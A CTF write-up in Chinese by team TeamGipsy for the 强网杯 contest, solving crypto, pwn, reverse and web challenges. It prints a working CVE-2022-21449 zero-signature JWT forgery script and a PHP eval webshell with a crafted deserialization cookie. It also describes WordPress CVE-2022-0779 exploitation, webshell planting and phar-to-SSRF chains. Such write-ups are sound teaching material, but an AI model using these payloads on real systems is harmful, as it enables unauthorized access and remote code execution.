强网杯部分WP
TeamGipsy战队 WRITEUP
一、战队信息
战队名称:TeamGipsy
战队排名:68
二、解题情况
三、解题过程
Misc
签到
1 | flag{we1come_t0_qwb_s6} |
问卷调查
填写问卷得到flag
Crypto
myJWT
运行环境
java11,下载fastjson的jar包,2.0以上的都报错了,所以选了fastjson-1.2.9
使用的是ECDSA,虽然是密码题,但并不是对ECDSA的签名、验证等步骤操作,这些都由java封装好了
所以是java的问题
由于代码中使用的格式是SHA384withECDSAinP1363Format
,经过搜索是CVE-2022-21449,发现竟然是java没有判断$(r,s)$是否等于0。。。
此外这些都是不安全的
-
java没有判断$(r,s)$是否等于0会如何呢?其实在签名的时候一般都会确保$(r,s)$不为0的,但在验签的时候忽略了
验签时计算
$$
r=x_P\notag
$$
而$P\equiv u_1G+u_2D\equiv s^{-1}zG+s^{-1}rD\equiv s^{-1}G(z+rd)\ (mod\ n)$当然0的逆元是不存在的,但是看看java这里是怎么求逆元的
相当于计算$x^{n-2}$,如果$x\ne0$,那么根据费马小定理($n$为质数)
$$
x^{n-1}\equiv x\ (mod\ n)\notag
$$
那么
$$
x^{n-2}\equiv x^{-1}\ (mod\ n)\notag
$$
也就是说为了简化或者说提高效率,java使用费马小定理求逆元的,而且没有判断0,这样就造成了
$$
0^{n-2}\equiv 0\ (mod\ n)\notag
$$
$P\equiv 0\cdot G(z+rd)\ (mod\ n)\equiv 0\ (mod\ n)$最终使得$r=x_P=0$验证通过
attack
这里如何实现将$r,s$都赋值为0?看CVE的demo是直接喂
\x00
的base64编码,不懂为什么,还没深究exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17from base64 import *
from pwn import *
io = remote('47.104.76.78', 23334)
fake_sig = b'\x00\x00'
name = b'4xwi11'
io.sendlineafter(b'your name:', name)
io.sendlineafter(b'>', b'1')
token = io.recvline().decode()[:-1]
head, payload, _ = token.split('.')
payload = b64decode(payload).replace(b'false', b'true')
io.sendlineafter(b'>', b'2')
payload_x = head.encode() + b'.' + b64encode(payload) + b'.' + b64encode(fake_sig)
io.sendline(payload_x)
print(io.recvline()[:-1])
# b'your token:flag{cve-2022-21449_Secur1ty_0f_c0de_1mplementation}'
btw,不知道是不是jdk版本的问题,我本地不行
Factor
就完全是这篇论文的复现了New attacks on RSA with Moduli N = p^rq[6]
注意第一和第二种攻击中,用CopperSmith解小根就可以得到相应的未知数
完整的exp如下
1 | from Crypto.Util.number import * |
PWN
houseofcat
- 首先逆向进入程序主逻辑先LOGIN |LOGIN r00t QWB QWXFadmin\x00 然后再CAT |LOGIN r00t QWB QWXF$\xff\xff\xff\xff 就能进入菜单
- 进入菜单发现free那里是uaf漏洞,add函数里是只能申请0x418到0x46f大小的堆块,再结合给的libc是2.35版本没有free_hook所以大致攻击就是利用house ofemma,但是edit只有两次的修改的机会,利用两次largebinattack修改stderr伪造假的iofile然后改guard为堆地址。再是修改topchunk,我利用unsortedbin会合并的特点实现了一个堆重叠,从而可以伪造size位再次free之后就能有一个更大的假堆块,再修改topchunk的size触发houseofkiwi再实现houseofemma的调用链。由于开了沙箱,而且read的fd只能为0,发现沙箱有close函数就利用close将0关闭再通过open就能使fd为0然后得到flag
1 | #encoding: utf-8 |
flag 值
flag{e672697f-6e0f-4ebc-aa7f-c941cf974afa}
RE
GameMaster
将exe文件拖入dnSpy进行反编译
分析代码,先进行异或操作,然后再进行aes解密
1 | from Crypto.Cipher import AES |
解出来之后foremost,得到一个新的dll
再拖到dnSpy进行反汇编,分析代码
写出解密脚本得到flag
1 | def Check1(x, y, z, KeyStream): |
Web
easyweb
ctrl+u 发现存在showfile.php任意文件读取
不过读取的文件名中必须要有demo或者guest,很简单就能绕过。直接读到了class.php index.php showfile.php upload.php
简单看一下,可以发现重点是在class.php
,不过在此之前还有一个点,因为所有文件中并没有实现自动打开session,而在showfile.php和upload.php文件中都有限制,必须session存在才能进行文件上传等,就不多说了,可以利用PHP_SESSION_UPLOAD_PROGRESS
绕过
class.php
共有三个类,分别为Upload用于文件上传,GuestShow和AdminShow为在showfile.php中用到,而AdminShow中很明显存在SSRF。而既然有类,当然就会想进行反序列化了,而又存在任意文件读取,就会想到利用phar://
1 | $url = $this->schema . $this->source; |
那么来找一下链子吧。首先我们最后想要实现的肯定就是AdminShow#show
方法的SSRF,那么可以先找一下有哪个链子能到
这里就直接贴了:
1 | GuestShow#__destruct |
但是我们可以发现AdminShow类中存在__wakeup给$this->schema
和$this->source
赋值,那么就得重新找一下链子绕过了,这里也不多说,直接贴上吧
1 |
|
然后把文件上传,并通过showfie.php进行phar://协议触发反序列化,最先我们可以先读取/etc/hosts
发现
1 | 172.18.0.2 3b35825919ae |
那么先可以利用http协议查看那个ip存在可利用信息,最终发现在10.10.10.10
1 |
|
最后利用gopher进行GET利用url file协议读取flag就好了
1 | import urllib.parse |
最终exp:
1 | import base64 |
flag:
1 | flag{easy_penetration_it_is_!_QAQ} |
强网先锋
rcefile
存在www.zip
泄露
upload.php中存在黑名单,并且尝试上传phps等后缀的时候发现并没有被解析,但是可以上传inc文件
并且可以发现文件名会被放到$userfile
数组中并将数组序列化放到cookie中,当然在一开始做题测试的时候应该也能从页面中看到
1 | include "config.inc.php"; |
在class.inc.php中可以发现,而它不仅可以解析php文件还可以解析inc文件
而这里也直接对cookie进行反序列化,没有任何过滤
1 | spl_autoload_register(); |
那么直接上传一个inc文件,注意要将文件的Content-type修改一下
1 | <?php system('ls');eval($_POST['cmd']);?> |
获得文件名,将cookie修改成:
1 | O%3A32%3A%2202f9bf508f93eebdd216dba17c5a99c0%22%3A0%3A%7B%7D |
刷新一下,执行成功
flag:
1 | flag{3acd895a-8b80-4fd7-8cc9-2701f261d654} |
polydiv
题目描述
多项式乘法,已知
a(x)*b(x)+c(x)=r(x)
,a(x),c(x),r(x)
求`b(x)
题目与提供的代码稍有出入,服务器上跑的是可以看成在$GF(2^8)$下求b(x)
1 | sage: R.<x>=GF(8) |
或者直接爆破
1 | #!/usr/bin/env python3 |
ASR
题目描述
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))
n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3
flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''
4个因子,因为都是128位,yafu直接分解$\sqrt{n}$
跑到一半报错了(心态崩),看日志差不多一个小时的时间分解出来一个因子
之后重新下载了一个yafu就可以继续跑了
最后$e=3$,$\varphi$有公因子9分别来自两个因子;由于$m$比较小,直接选用另外两个因子做模数就好了
1 | from gmpy2 import * |
WP-UM
- CVE-2022-0779
因为存在meta-user插件,并且版本为2.4.3
payload:
WordPress User Meta Lite Pro 2.4.3 Path遍历漏洞CVE-2022-0779-子云社区 (zilyun.com)
1 | POST /wp-admin/admin-ajax.php HTTP/1.1<br> |
而给我们的目录中发现存在username和password目录,而通过题目的提示说明就是管理员的账户,那么直接利用这个cve爆破管理员密码
1 | import requests |
直接登录,在插件那里存在插件文件编辑,直接在user-meta.php中写入一句话木马
直接访问首页,执行成功,flag在user目录下